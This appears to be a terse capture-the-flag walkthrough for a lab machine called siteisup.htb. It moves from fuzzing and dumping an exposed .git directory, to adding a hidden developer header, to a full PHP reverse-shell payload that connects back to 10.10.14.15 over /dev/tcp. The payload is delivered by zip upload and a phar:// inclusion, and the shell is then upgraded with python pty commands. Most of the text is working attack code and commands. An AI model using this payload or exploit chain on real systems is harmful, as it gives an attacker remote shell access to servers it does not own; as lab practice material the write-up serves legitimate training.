ffuf found /dev but there is nothing more, also find subdirectory http://siteisup.htb
but cannot open it. Let’s dig deeper and scan again
ok we got .git.
Just dump it to easier enumeration
git-dumper http://siteisup.htb/dev/.git/ .
I found interesting commit with comment about new technique to protect dev vhost
ok, we from git logs we know that we need to add Special-Dev: only4dev header to connect to dev.siteusup.htb, let’s try it
add header with Modify Header Value https://addons.mozilla.org/en-US/firefox/addon/modify-header-value/
<?php
$descriptorspec = [
0 => ["pipe", "r"], // STDIN
1 => ["pipe", "w"], // STDOUT
2 => ["pipe", "w"], // STDERR
];
$command = "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.15/1234 0>&1'";
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]); // Close STDIN
fclose($pipes[1]); // Close STDOUT
fclose($pipes[2]); // Close STDERR
proc_close($process);
}
?>
save as rev.php, then zip rev.abc upload and navigate to :
http://dev.siteisup.htb/?page=phar://uploads/22fa9abfe9c50075a95d916ad666e595/rev.abc/rev
we got reverse shell Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/sh")'
__import__('os').system('/bin/bash')
